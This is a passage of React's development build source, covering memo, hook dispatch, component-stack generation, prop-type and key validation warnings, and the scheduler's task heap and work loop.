    if (typeof type === 'object' && type !== null) {
      if (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || // This needs to include all possible module reference object
      // types supported by any Flight configuration anywhere since
      // we don't know which Flight build this will end up being used
      // with.
      type.$$typeof === REACT_MODULE_REFERENCE || type.getModuleId !== undefined) {
        return true;
      }
    }

    return false;
  }

  function memo(type, compare) {
    {
      if (!isValidElementType(type)) {
        error('memo: The first argument must be a component. Instead ' + 'received: %s', type === null ? 'null' : typeof type);
      }
    }

    var elementType = {
      $$typeof: REACT_MEMO_TYPE,
      type: type,
      compare: compare === undefined ? null : compare
    };

    {
      var ownName;
      Object.defineProperty(elementType, 'displayName', {
        enumerable: false,
        configurable: true,
        get: function () {
          return ownName;
        },
        set: function (name) {
          ownName = name; // The inner component shouldn't inherit this display name in most cases,
          // because the component may be used elsewhere.
          // But it's nice for anonymous functions to inherit the name,
          // so that our component-stack generation logic will display their frames.
          // An anonymous function generally suggests a pattern like:
          //   React.memo((props) => {...});
          // This kind of inner function is not used elsewhere so the side effect is okay.

          if (!type.name && !type.displayName) {
            type.displayName = name;
          }
        }
      });
    }

    return elementType;
  }

  function resolveDispatcher() {
    var dispatcher = ReactCurrentDispatcher.current;

    {
      if (dispatcher === null) {
        error('Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' + ' one of the following reasons:\n' + '1. You might have mismatching versions of React and the renderer (such as React DOM)\n' + '2. You might be breaking the Rules of Hooks\n' + '3. You might have more than one copy of React in the same app\n' + 'See https://reactjs.org/link/invalid-hook-call for tips about how to debug and fix this problem.');
      }
    } // Will result in a null access error if accessed outside render phase. We
    // intentionally don't throw our own error because this is in a hot path.
    // Also helps ensure this is inlined.


    return dispatcher;
  }
  function useContext(Context) {
    var dispatcher = resolveDispatcher();

    {
      // TODO: add a more generic warning for invalid values.
      if (Context._context !== undefined) {
        var realContext = Context._context; // Don't deduplicate because this legitimately causes bugs
        // and nobody should be using this in existing code.

        if (realContext.Consumer === Context) {
          error('Calling useContext(Context.Consumer) is not supported, may cause bugs, and will be ' + 'removed in a future major release. Did you mean to call useContext(Context) instead?');
        } else if (realContext.Provider === Context) {
          error('Calling useContext(Context.Provider) is not supported. ' + 'Did you mean to call useContext(Context) instead?');
        }
      }
    }

    return dispatcher.useContext(Context);
  }
  function useState(initialState) {
    var dispatcher = resolveDispatcher();
    return dispatcher.useState(initialState);
  }
  function useReducer(reducer, initialArg, init) {
    var dispatcher = resolveDispatcher();
    return dispatcher.useReducer(reducer, initialArg, init);
  }
  function useRef(initialValue) {
    var dispatcher = resolveDispatcher();
    return dispatcher.useRef(initialValue);
  }
  function useEffect(create, deps) {
    var dispatcher = resolveDispatcher();
    return dispatcher.useEffect(create, deps);
  }
  function useInsertionEffect(create, deps) {
    var dispatcher = resolveDispatcher();
    return dispatcher.useInsertionEffect(create, deps);
  }
  function useLayoutEffect(create, deps) {
    var dispatcher = resolveDispatcher();
    return dispatcher.useLayoutEffect(create, deps);
  }
  function useCallback(callback, deps) {
    var dispatcher = resolveDispatcher();
    return dispatcher.useCallback(callback, deps);
  }
  function useMemo(create, deps) {
    var dispatcher = resolveDispatcher();
    return dispatcher.useMemo(create, deps);
  }
  function useImperativeHandle(ref, create, deps) {
    var dispatcher = resolveDispatcher();
    return dispatcher.useImperativeHandle(ref, create, deps);
  }
  function useDebugValue(value, formatterFn) {
    {
      var dispatcher = resolveDispatcher();
      return dispatcher.useDebugValue(value, formatterFn);
    }
  }
  function useTransition() {
    var dispatcher = resolveDispatcher();
    return dispatcher.useTransition();
  }
  function useDeferredValue(value) {
    var dispatcher = resolveDispatcher();
    return dispatcher.useDeferredValue(value);
  }
  function useId() {
    var dispatcher = resolveDispatcher();
    return dispatcher.useId();
  }
  function useSyncExternalStore(subscribe, getSnapshot, getServerSnapshot) {
    var dispatcher = resolveDispatcher();
    return dispatcher.useSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);
  }

  // Helpers to patch console.logs to avoid logging during side-effect free
  // replaying on render function. This currently only patches the object
  // lazily which won't cover if the log function was extracted eagerly.
  // We could also eagerly patch the method.
  var disabledDepth = 0;
  var prevLog;
  var prevInfo;
  var prevWarn;
  var prevError;
  var prevGroup;
  var prevGroupCollapsed;
  var prevGroupEnd;

  function disabledLog() {}

  disabledLog.__reactDisabledLog = true;
  function disableLogs() {
    {
      if (disabledDepth === 0) {
        /* eslint-disable react-internal/no-production-logging */
        prevLog = console.log;
        prevInfo = console.info;
        prevWarn = console.warn;
        prevError = console.error;
        prevGroup = console.group;
        prevGroupCollapsed = console.groupCollapsed;
        prevGroupEnd = console.groupEnd; // https://github.com/facebook/react/issues/19099

        var props = {
          configurable: true,
          enumerable: true,
          value: disabledLog,
          writable: true
        }; // $FlowFixMe Flow thinks console is immutable.

        Object.defineProperties(console, {
          info: props,
          log: props,
          warn: props,
          error: props,
          group: props,
          groupCollapsed: props,
          groupEnd: props
        });
        /* eslint-enable react-internal/no-production-logging */
      }

      disabledDepth++;
    }
  }
  function reenableLogs() {
    {
      disabledDepth--;

      if (disabledDepth === 0) {
        /* eslint-disable react-internal/no-production-logging */
        var props = {
          configurable: true,
          enumerable: true,
          writable: true
        }; // $FlowFixMe Flow thinks console is immutable.

        Object.defineProperties(console, {
          log: assign({}, props, {
            value: prevLog
          }),
          info: assign({}, props, {
            value: prevInfo
          }),
          warn: assign({}, props, {
            value: prevWarn
          }),
          error: assign({}, props, {
            value: prevError
          }),
          group: assign({}, props, {
            value: prevGroup
          }),
          groupCollapsed: assign({}, props, {
            value: prevGroupCollapsed
          }),
          groupEnd: assign({}, props, {
            value: prevGroupEnd
          })
        });
        /* eslint-enable react-internal/no-production-logging */
      }

      if (disabledDepth < 0) {
        error('disabledDepth fell below zero. ' + 'This is a bug in React. Please file an issue.');
      }
    }
  }

  var ReactCurrentDispatcher$1 = ReactSharedInternals.ReactCurrentDispatcher;
  var prefix;
  function describeBuiltInComponentFrame(name, source, ownerFn) {
    {
      if (prefix === undefined) {
        // Extract the VM specific prefix used by each line.
        try {
          throw Error();
        } catch (x) {
          var match = x.stack.trim().match(/\n( *(at )?)/);
          prefix = match && match[1] || '';
        }
      } // We use the prefix to ensure our stacks line up with native stack frames.


      return '\n' + prefix + name;
    }
  }
  var reentry = false;
  var componentFrameCache;

  {
    var PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;
    componentFrameCache = new PossiblyWeakMap();
  }

  function describeNativeComponentFrame(fn, construct) {
    // If something asked for a stack inside a fake render, it should get ignored.
    if ( !fn || reentry) {
      return '';
    }

    {
      var frame = componentFrameCache.get(fn);

      if (frame !== undefined) {
        return frame;
      }
    }

    var control;
    reentry = true;
    var previousPrepareStackTrace = Error.prepareStackTrace; // $FlowFixMe It does accept undefined.

    Error.prepareStackTrace = undefined;
    var previousDispatcher;

    {
      previousDispatcher = ReactCurrentDispatcher$1.current; // Set the dispatcher in DEV because this might be call in the render function
      // for warnings.

      ReactCurrentDispatcher$1.current = null;
      disableLogs();
    }

    try {
      // This should throw.
      if (construct) {
        // Something should be setting the props in the constructor.
        var Fake = function () {
          throw Error();
        }; // $FlowFixMe


        Object.defineProperty(Fake.prototype, 'props', {
          set: function () {
            // We use a throwing setter instead of frozen or non-writable props
            // because that won't throw in a non-strict mode function.
            throw Error();
          }
        });

        if (typeof Reflect === 'object' && Reflect.construct) {
          // We construct a different control for this case to include any extra
          // frames added by the construct call.
          try {
            Reflect.construct(Fake, []);
          } catch (x) {
            control = x;
          }

          Reflect.construct(fn, [], Fake);
        } else {
          try {
            Fake.call();
          } catch (x) {
            control = x;
          }

          fn.call(Fake.prototype);
        }
      } else {
        try {
          throw Error();
        } catch (x) {
          control = x;
        }

        fn();
      }
    } catch (sample) {
      // This is inlined manually because closure doesn't do it for us.
      if (sample && control && typeof sample.stack === 'string') {
        // This extracts the first frame from the sample that isn't also in the control.
        // Skipping one frame that we assume is the frame that calls the two.
        var sampleLines = sample.stack.split('\n');
        var controlLines = control.stack.split('\n');
        var s = sampleLines.length - 1;
        var c = controlLines.length - 1;

        while (s >= 1 && c >= 0 && sampleLines[s] !== controlLines[c]) {
          // We expect at least one stack frame to be shared.
          // Typically this will be the root most one. However, stack frames may be
          // cut off due to maximum stack limits. In this case, one maybe cut off
          // earlier than the other. We assume that the sample is longer or the same
          // and there for cut off earlier. So we should find the root most frame in
          // the sample somewhere in the control.
          c--;
        }

        for (; s >= 1 && c >= 0; s--, c--) {
          // Next we find the first one that isn't the same which should be the
          // frame that called our sample function and the control.
          if (sampleLines[s] !== controlLines[c]) {
            // In V8, the first line is describing the message but other VMs don't.
            // If we're about to return the first line, and the control is also on the same
            // line, that's a pretty good indicator that our sample threw at same line as
            // the control. I.e. before we entered the sample frame. So we ignore this result.
            // This can happen if you passed a class to function component, or non-function.
            if (s !== 1 || c !== 1) {
              do {
                s--;
                c--; // We may still have similar intermediate frames from the construct call.
                // The next one that isn't the same should be our match though.

                if (c < 0 || sampleLines[s] !== controlLines[c]) {
                  // V8 adds a "new" prefix for native classes. Let's remove it to make it prettier.
                  var _frame = '\n' + sampleLines[s].replace(' at new ', ' at '); // If our component frame is labeled "<anonymous>"
                  // but we have a user-provided "displayName"
                  // splice it in to make the stack more readable.


                  if (fn.displayName && _frame.includes('<anonymous>')) {
                    _frame = _frame.replace('<anonymous>', fn.displayName);
                  }

                  {
                    if (typeof fn === 'function') {
                      componentFrameCache.set(fn, _frame);
                    }
                  } // Return the line we found.


                  return _frame;
                }
              } while (s >= 1 && c >= 0);
            }

            break;
          }
        }
      }
    } finally {
      reentry = false;

      {
        ReactCurrentDispatcher$1.current = previousDispatcher;
        reenableLogs();
      }

      Error.prepareStackTrace = previousPrepareStackTrace;
    } // Fallback to just using the name if we couldn't make it throw.


    var name = fn ? fn.displayName || fn.name : '';
    var syntheticFrame = name ? describeBuiltInComponentFrame(name) : '';

    {
      if (typeof fn === 'function') {
        componentFrameCache.set(fn, syntheticFrame);
      }
    }

    return syntheticFrame;
  }
  function describeFunctionComponentFrame(fn, source, ownerFn) {
    {
      return describeNativeComponentFrame(fn, false);
    }
  }

  function shouldConstruct(Component) {
    var prototype = Component.prototype;
    return !!(prototype && prototype.isReactComponent);
  }

  function describeUnknownElementTypeFrameInDEV(type, source, ownerFn) {

    if (type == null) {
      return '';
    }

    if (typeof type === 'function') {
      {
        return describeNativeComponentFrame(type, shouldConstruct(type));
      }
    }

    if (typeof type === 'string') {
      return describeBuiltInComponentFrame(type);
    }

    switch (type) {
      case REACT_SUSPENSE_TYPE:
        return describeBuiltInComponentFrame('Suspense');

      case REACT_SUSPENSE_LIST_TYPE:
        return describeBuiltInComponentFrame('SuspenseList');
    }

    if (typeof type === 'object') {
      switch (type.$$typeof) {
        case REACT_FORWARD_REF_TYPE:
          return describeFunctionComponentFrame(type.render);

        case REACT_MEMO_TYPE:
          // Memo may contain any component type so we recursively resolve it.
          return describeUnknownElementTypeFrameInDEV(type.type, source, ownerFn);

        case REACT_LAZY_TYPE:
          {
            var lazyComponent = type;
            var payload = lazyComponent._payload;
            var init = lazyComponent._init;

            try {
              // Lazy may contain any component type so we recursively resolve it.
              return describeUnknownElementTypeFrameInDEV(init(payload), source, ownerFn);
            } catch (x) {}
          }
      }
    }

    return '';
  }

  var loggedTypeFailures = {};
  var ReactDebugCurrentFrame$1 = ReactSharedInternals.ReactDebugCurrentFrame;

  function setCurrentlyValidatingElement(element) {
    {
      if (element) {
        var owner = element._owner;
        var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);
        ReactDebugCurrentFrame$1.setExtraStackFrame(stack);
      } else {
        ReactDebugCurrentFrame$1.setExtraStackFrame(null);
      }
    }
  }

  function checkPropTypes(typeSpecs, values, location, componentName, element) {
    {
      // $FlowFixMe This is okay but Flow doesn't know it.
      var has = Function.call.bind(hasOwnProperty);

      for (var typeSpecName in typeSpecs) {
        if (has(typeSpecs, typeSpecName)) {
          var error$1 = void 0; // Prop type validation may throw. In case they do, we don't want to
          // fail the render phase where it didn't fail before. So we log it.
          // After these have been cleaned up, we'll let them throw.

          try {
            // This is intentionally an invariant that gets caught. It's the same
            // behavior as without this statement except with a better message.
            if (typeof typeSpecs[typeSpecName] !== 'function') {
              // eslint-disable-next-line react-internal/prod-error-codes
              var err = Error((componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' + 'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.' + 'This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.');
              err.name = 'Invariant Violation';
              throw err;
            }

            error$1 = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED');
          } catch (ex) {
            error$1 = ex;
          }

          if (error$1 && !(error$1 instanceof Error)) {
            setCurrentlyValidatingElement(element);

            error('%s: type specification of %s' + ' `%s` is invalid; the type checker ' + 'function must return `null` or an `Error` but returned a %s. ' + 'You may have forgotten to pass an argument to the type checker ' + 'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' + 'shape all require an argument).', componentName || 'React class', location, typeSpecName, typeof error$1);

            setCurrentlyValidatingElement(null);
          }

          if (error$1 instanceof Error && !(error$1.message in loggedTypeFailures)) {
            // Only monitor this failure once because there tends to be a lot of the
            // same error.
            loggedTypeFailures[error$1.message] = true;
            setCurrentlyValidatingElement(element);

            error('Failed %s type: %s', location, error$1.message);

            setCurrentlyValidatingElement(null);
          }
        }
      }
    }
  }

  function setCurrentlyValidatingElement$1(element) {
    {
      if (element) {
        var owner = element._owner;
        var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);
        setExtraStackFrame(stack);
      } else {
        setExtraStackFrame(null);
      }
    }
  }

  var propTypesMisspellWarningShown;

  {
    propTypesMisspellWarningShown = false;
  }

  function getDeclarationErrorAddendum() {
    if (ReactCurrentOwner.current) {
      var name = getComponentNameFromType(ReactCurrentOwner.current.type);

      if (name) {
        return '\n\nCheck the render method of `' + name + '`.';
      }
    }

    return '';
  }

  function getSourceInfoErrorAddendum(source) {
    if (source !== undefined) {
      var fileName = source.fileName.replace(/^.*[\\\/]/, '');
      var lineNumber = source.lineNumber;
      return '\n\nCheck your code at ' + fileName + ':' + lineNumber + '.';
    }

    return '';
  }

  function getSourceInfoErrorAddendumForProps(elementProps) {
    if (elementProps !== null && elementProps !== undefined) {
      return getSourceInfoErrorAddendum(elementProps.__source);
    }

    return '';
  }
  /**
   * Warn if there's no key explicitly set on dynamic arrays of children or
   * object keys are not valid. This allows us to keep track of children between
   * updates.
   */


  var ownerHasKeyUseWarning = {};

  function getCurrentComponentErrorInfo(parentType) {
    var info = getDeclarationErrorAddendum();

    if (!info) {
      var parentName = typeof parentType === 'string' ? parentType : parentType.displayName || parentType.name;

      if (parentName) {
        info = "\n\nCheck the top-level render call using <" + parentName + ">.";
      }
    }

    return info;
  }
  /**
   * Warn if the element doesn't have an explicit key assigned to it.
   * This element is in an array. The array could grow and shrink or be
   * reordered. All children that haven't already been validated are required to
   * have a "key" property assigned to it. Error statuses are cached so a warning
   * will only be shown once.
   *
   * @internal
   * @param {ReactElement} element Element that requires a key.
   * @param {*} parentType element's parent's type.
   */


  function validateExplicitKey(element, parentType) {
    if (!element._store || element._store.validated || element.key != null) {
      return;
    }

    element._store.validated = true;
    var currentComponentErrorInfo = getCurrentComponentErrorInfo(parentType);

    if (ownerHasKeyUseWarning[currentComponentErrorInfo]) {
      return;
    }

    ownerHasKeyUseWarning[currentComponentErrorInfo] = true; // Usually the current owner is the offender, but if it accepts children as a
    // property, it may be the creator of the child that's responsible for
    // assigning it a key.

    var childOwner = '';

    if (element && element._owner && element._owner !== ReactCurrentOwner.current) {
      // Give the component that originally created this child.
      childOwner = " It was passed a child from " + getComponentNameFromType(element._owner.type) + ".";
    }

    {
      setCurrentlyValidatingElement$1(element);

      error('Each child in a list should have a unique "key" prop.' + '%s%s See https://reactjs.org/link/warning-keys for more information.', currentComponentErrorInfo, childOwner);

      setCurrentlyValidatingElement$1(null);
    }
  }
  /**
   * Ensure that every element either is passed in a static location, in an
   * array with an explicit keys property defined, or in an object literal
   * with valid key property.
   *
   * @internal
   * @param {ReactNode} node Statically passed child of any type.
   * @param {*} parentType node's parent's type.
   */


  function validateChildKeys(node, parentType) {
    if (typeof node !== 'object') {
      return;
    }

    if (isArray(node)) {
      for (var i = 0; i < node.length; i++) {
        var child = node[i];

        if (isValidElement(child)) {
          validateExplicitKey(child, parentType);
        }
      }
    } else if (isValidElement(node)) {
      // This element was passed in a valid location.
      if (node._store) {
        node._store.validated = true;
      }
    } else if (node) {
      var iteratorFn = getIteratorFn(node);

      if (typeof iteratorFn === 'function') {
        // Entry iterators used to provide implicit keys,
        // but now we print a separate warning for them later.
        if (iteratorFn !== node.entries) {
          var iterator = iteratorFn.call(node);
          var step;

          while (!(step = iterator.next()).done) {
            if (isValidElement(step.value)) {
              validateExplicitKey(step.value, parentType);
            }
          }
        }
      }
    }
  }
  /**
   * Given an element, validate that its props follow the propTypes definition,
   * provided by the type.
   *
   * @param {ReactElement} element
   */


  function validatePropTypes(element) {
    {
      var type = element.type;

      if (type === null || type === undefined || typeof type === 'string') {
        return;
      }

      var propTypes;

      if (typeof type === 'function') {
        propTypes = type.propTypes;
      } else if (typeof type === 'object' && (type.$$typeof === REACT_FORWARD_REF_TYPE || // Note: Memo only checks outer props here.
      // Inner props are checked in the reconciler.
      type.$$typeof === REACT_MEMO_TYPE)) {
        propTypes = type.propTypes;
      } else {
        return;
      }

      if (propTypes) {
        // Intentionally inside to avoid triggering lazy initializers:
        var name = getComponentNameFromType(type);
        checkPropTypes(propTypes, element.props, 'prop', name, element);
      } else if (type.PropTypes !== undefined && !propTypesMisspellWarningShown) {
        propTypesMisspellWarningShown = true; // Intentionally inside to avoid triggering lazy initializers:

        var _name = getComponentNameFromType(type);

        error('Component %s declared `PropTypes` instead of `propTypes`. Did you misspell the property assignment?', _name || 'Unknown');
      }

      if (typeof type.getDefaultProps === 'function' && !type.getDefaultProps.isReactClassApproved) {
        error('getDefaultProps is only used on classic React.createClass ' + 'definitions. Use a static property named `defaultProps` instead.');
      }
    }
  }
  /**
   * Given a fragment, validate that it can only be provided with fragment props
   * @param {ReactElement} fragment
   */


  function validateFragmentProps(fragment) {
    {
      var keys = Object.keys(fragment.props);

      for (var i = 0; i < keys.length; i++) {
        var key = keys[i];

        if (key !== 'children' && key !== 'key') {
          setCurrentlyValidatingElement$1(fragment);

          error('Invalid prop `%s` supplied to `React.Fragment`. ' + 'React.Fragment can only have `key` and `children` props.', key);

          setCurrentlyValidatingElement$1(null);
          break;
        }
      }

      if (fragment.ref !== null) {
        setCurrentlyValidatingElement$1(fragment);

        error('Invalid attribute `ref` supplied to `React.Fragment`.');

        setCurrentlyValidatingElement$1(null);
      }
    }
  }
  function createElementWithValidation(type, props, children) {
    var validType = isValidElementType(type); // We warn in this case but don't throw. We expect the element creation to
    // succeed and there will likely be errors in render.

    if (!validType) {
      var info = '';

      if (type === undefined || typeof type === 'object' && type !== null && Object.keys(type).length === 0) {
        info += ' You likely forgot to export your component from the file ' + "it's defined in, or you might have mixed up default and named imports.";
      }

      var sourceInfo = getSourceInfoErrorAddendumForProps(props);

      if (sourceInfo) {
        info += sourceInfo;
      } else {
        info += getDeclarationErrorAddendum();
      }

      var typeString;

      if (type === null) {
        typeString = 'null';
      } else if (isArray(type)) {
        typeString = 'array';
      } else if (type !== undefined && type.$$typeof === REACT_ELEMENT_TYPE) {
        typeString = "<" + (getComponentNameFromType(type.type) || 'Unknown') + " />";
        info = ' Did you accidentally export a JSX literal instead of a component?';
      } else {
        typeString = typeof type;
      }

      {
        error('React.createElement: type is invalid -- expected a string (for ' + 'built-in components) or a class/function (for composite ' + 'components) but got: %s.%s', typeString, info);
      }
    }

    var element = createElement.apply(this, arguments); // The result can be nullish if a mock or a custom function is used.
    // TODO: Drop this when these are no longer allowed as the type argument.

    if (element == null) {
      return element;
    } // Skip key warning if the type isn't valid since our key validation logic
    // doesn't expect a non-string/function type and can throw confusing errors.
    // We don't want exception behavior to differ between dev and prod.
    // (Rendering will throw with a helpful message and as soon as the type is
    // fixed, the key warnings will appear.)


    if (validType) {
      for (var i = 2; i < arguments.length; i++) {
        validateChildKeys(arguments[i], type);
      }
    }

    if (type === REACT_FRAGMENT_TYPE) {
      validateFragmentProps(element);
    } else {
      validatePropTypes(element);
    }

    return element;
  }
  var didWarnAboutDeprecatedCreateFactory = false;
  function createFactoryWithValidation(type) {
    var validatedFactory = createElementWithValidation.bind(null, type);
    validatedFactory.type = type;

    {
      if (!didWarnAboutDeprecatedCreateFactory) {
        didWarnAboutDeprecatedCreateFactory = true;

        warn('React.createFactory() is deprecated and will be removed in ' + 'a future major release. Consider using JSX ' + 'or use React.createElement() directly instead.');
      } // Legacy hook: remove it


      Object.defineProperty(validatedFactory, 'type', {
        enumerable: false,
        get: function () {
          warn('Factory.type is deprecated. Access the class directly ' + 'before passing it to createFactory.');

          Object.defineProperty(this, 'type', {
            value: type
          });
          return type;
        }
      });
    }

    return validatedFactory;
  }
  function cloneElementWithValidation(element, props, children) {
    var newElement = cloneElement.apply(this, arguments);

    for (var i = 2; i < arguments.length; i++) {
      validateChildKeys(arguments[i], newElement.type);
    }

    validatePropTypes(newElement);
    return newElement;
  }

  var enableSchedulerDebugging = false;
  var enableProfiling = false;
  var frameYieldMs = 5;

  function push(heap, node) {
    var index = heap.length;
    heap.push(node);
    siftUp(heap, node, index);
  }
  function peek(heap) {
    return heap.length === 0 ? null : heap[0];
  }
  function pop(heap) {
    if (heap.length === 0) {
      return null;
    }

    var first = heap[0];
    var last = heap.pop();

    if (last !== first) {
      heap[0] = last;
      siftDown(heap, last, 0);
    }

    return first;
  }

  function siftUp(heap, node, i) {
    var index = i;

    while (index > 0) {
      var parentIndex = index - 1 >>> 1;
      var parent = heap[parentIndex];

      if (compare(parent, node) > 0) {
        // The parent is larger. Swap positions.
        heap[parentIndex] = node;
        heap[index] = parent;
        index = parentIndex;
      } else {
        // The parent is smaller. Exit.
        return;
      }
    }
  }

  function siftDown(heap, node, i) {
    var index = i;
    var length = heap.length;
    var halfLength = length >>> 1;

    while (index < halfLength) {
      var leftIndex = (index + 1) * 2 - 1;
      var left = heap[leftIndex];
      var rightIndex = leftIndex + 1;
      var right = heap[rightIndex]; // If the left or right node is smaller, swap with the smaller of those.

      if (compare(left, node) < 0) {
        if (rightIndex < length && compare(right, left) < 0) {
          heap[index] = right;
          heap[rightIndex] = node;
          index = rightIndex;
        } else {
          heap[index] = left;
          heap[leftIndex] = node;
          index = leftIndex;
        }
      } else if (rightIndex < length && compare(right, node) < 0) {
        heap[index] = right;
        heap[rightIndex] = node;
        index = rightIndex;
      } else {
        // Neither child is smaller. Exit.
        return;
      }
    }
  }

  function compare(a, b) {
    // Compare sort index first, then task id.
    var diff = a.sortIndex - b.sortIndex;
    return diff !== 0 ? diff : a.id - b.id;
  }

  // TODO: Use symbols?
  var ImmediatePriority = 1;
  var UserBlockingPriority = 2;
  var NormalPriority = 3;
  var LowPriority = 4;
  var IdlePriority = 5;

  function markTaskErrored(task, ms) {
  }

  /* eslint-disable no-var */
  var getCurrentTime;
  var hasPerformanceNow = typeof performance === 'object' && typeof performance.now === 'function';

  if (hasPerformanceNow) {
    var localPerformance = performance;

    getCurrentTime = function () {
      return localPerformance.now();
    };
  } else {
    var localDate = Date;
    var initialTime = localDate.now();

    getCurrentTime = function () {
      return localDate.now() - initialTime;
    };
  } // Max 31 bit integer. The max integer size in V8 for 32-bit systems.
  // Math.pow(2, 30) - 1
  // 0b111111111111111111111111111111


  var maxSigned31BitInt = 1073741823; // Times out immediately

  var IMMEDIATE_PRIORITY_TIMEOUT = -1; // Eventually times out

  var USER_BLOCKING_PRIORITY_TIMEOUT = 250;
  var NORMAL_PRIORITY_TIMEOUT = 5000;
  var LOW_PRIORITY_TIMEOUT = 10000; // Never times out

  var IDLE_PRIORITY_TIMEOUT = maxSigned31BitInt; // Tasks are stored on a min heap

  var taskQueue = [];
  var timerQueue = []; // Incrementing id counter. Used to maintain insertion order.

  var taskIdCounter = 1; // Pausing the scheduler is useful for debugging.
  var currentTask = null;
  var currentPriorityLevel = NormalPriority; // This is set while performing work, to prevent re-entrance.

  var isPerformingWork = false;
  var isHostCallbackScheduled = false;
  var isHostTimeoutScheduled = false; // Capture local references to native APIs, in case a polyfill overrides them.

  var localSetTimeout = typeof setTimeout === 'function' ? setTimeout : null;
  var localClearTimeout = typeof clearTimeout === 'function' ? clearTimeout : null;
  var localSetImmediate = typeof setImmediate !== 'undefined' ? setImmediate : null; // IE and Node.js + jsdom

  var isInputPending = typeof navigator !== 'undefined' && navigator.scheduling !== undefined && navigator.scheduling.isInputPending !== undefined ? navigator.scheduling.isInputPending.bind(navigator.scheduling) : null;

  function advanceTimers(currentTime) {
    // Check for tasks that are no longer delayed and add them to the queue.
    var timer = peek(timerQueue);

    while (timer !== null) {
      if (timer.callback === null) {
        // Timer was cancelled.
        pop(timerQueue);
      } else if (timer.startTime <= currentTime) {
        // Timer fired. Transfer to the task queue.
        pop(timerQueue);
        timer.sortIndex = timer.expirationTime;
        push(taskQueue, timer);
      } else {
        // Remaining timers are pending.
        return;
      }

      timer = peek(timerQueue);
    }
  }

  function handleTimeout(currentTime) {
    isHostTimeoutScheduled = false;
    advanceTimers(currentTime);

    if (!isHostCallbackScheduled) {
      if (peek(taskQueue) !== null) {
        isHostCallbackScheduled = true;
        requestHostCallback(flushWork);
      } else {
        var firstTimer = peek(timerQueue);

        if (firstTimer !== null) {
          requestHostTimeout(handleTimeout, firstTimer.startTime - currentTime);
        }
      }
    }
  }

  function flushWork(hasTimeRemaining, initialTime) {


    isHostCallbackScheduled = false;

    if (isHostTimeoutScheduled) {
      // We scheduled a timeout but it's no longer needed. Cancel it.
      isHostTimeoutScheduled = false;
      cancelHostTimeout();
    }

    isPerformingWork = true;
    var previousPriorityLevel = currentPriorityLevel;

    try {
      if (enableProfiling) {
        try {
          return workLoop(hasTimeRemaining, initialTime);
        } catch (error) {
          if (currentTask !== null) {
            var currentTime = getCurrentTime();
            markTaskErrored(currentTask, currentTime);
            currentTask.isQueued = false;
          }

          throw error;
        }
      } else {
        // No catch in prod code path.
        return workLoop(hasTimeRemaining, initialTime);
      }
    } finally {
      currentTask = null;
      currentPriorityLevel = previousPriorityLevel;
      isPerformingWork = false;
    }
  }

  function workLoop(hasTimeRemaining, initialTime) {
    var currentTime = initialTime;
    advanceTimers(currentTime);
    currentTask = peek(taskQueue);

    while (currentTask !== null && !(enableSchedulerDebugging )) {
      if (currentTask.expirationTime > currentTime && (!hasTimeRemaining || shouldYieldToHost())) {
        // This currentTask hasn't expired, and we've reached the deadline.
        break;
      }

      var callback = currentTask.callback;

      if (typeof callback === 'function') {
        currentTask.callback = null;
        currentPriorityLevel = currentTask.priorityLevel;
        var didUserCallbackTimeout = currentTask.expirationTime <= currentTime;

        var continuationCallback = callback(didUserCallbackTimeout);
        currentTime = getCurrentTime();

        if (typeof continuationCallback === 'function') {
          currentTask.callback = continuationCallback;
        } else {

          if (currentTask === peek(taskQueue)) {
            pop(taskQueue);
          }
        }

        advanceTimers(currentTime);
      } else {
        pop(taskQueue);
      }

      currentTask = peek(taskQueue);
    } // Return whether there's additional work


    if (currentTask !== null) {
      return true;
    } else {
      var firstTimer = peek(timerQueue);

      if (firstTimer !== null) {
        requestHostTimeout(handleTimeout, firstTimer.startTime - currentTime);
      }

      return false;
    }
  }

  function unstable_runWithPriority(priorityLevel, eventHandler) {
    switch (priorityLevel) {
      case ImmediatePriority:
      case UserBlockingPriority:
      case NormalPriority:
      case LowPriority:
      case IdlePriority:
        break;

      default:
        priorityLevel = NormalPriority;
    }

    var previousPriorityLevel = currentPriorityLevel;
    currentPriorityLevel = priorityLevel;

    try {
      return eventHandler();
    } finally {
      currentPriorityLevel = previousPriorityLevel;
    }
  }

  function unstable_next(eventHandler) {
    var priorityLevel;

    switch (currentPriorityLevel) {
      case ImmediatePriority:
      case UserBlockingPriority:
      case NormalPriority:
        // Shift down to normal priority
        priorityLevel = NormalPriority;
        break;

      default:
        // Anything lower than normal priority should remain at the current level.
        priorityLevel = currentPriorityLevel;
        break;
    }

    var previousPriorityLevel = currentPriorityLevel;
    currentPriorityLevel = priorityLevel;

    try {
      return eventHandler();
    } finally {
      currentPriorityLevel = previousPriorityLevel;
    }
  }

  function unstable_wrapCallback(callback) {
    var parentPriorityLevel = currentPriorityLevel;
    return function () {
      // This is a fork of runWithPriority, inlined for performance.
      var previousPriorityLevel = currentPriorityLevel;
      currentPriorityLevel = parentPriorityLevel;

      try {
        return callback.apply(this, arguments);
      } finally {
        currentPriorityLevel = previousPriorityLevel;
      }
    };
  }

  function unstable_scheduleCallback(priorityLevel, callback, options) {
    var currentTime = getCurrentTime();
    var startTime;

    if (typeof options === 'object' && options !== null) {
      var delay = options.delay;

      if (typeof delay === 'number' && delay > 0) {
        startTime = currentTime + delay;
      } else {
        startTime = currentTime;
      }
    } else {
      startTime = currentTime;
    }

    var timeout;

    switch (priorityLevel) {
      case ImmediatePriority:
        timeout = IMMEDIATE_PRIORITY_TIMEOUT;
        break;

      case UserBlockingPriority:
        timeout = USER_BLOCKING_PRIORITY_TIMEOUT;
        break;

      case IdlePriority:
        timeout = IDLE_PRIORITY_TIMEOUT;
        break;

      case LowPriority:
        timeout = LOW_PRIORITY_TIMEOUT;
        break;

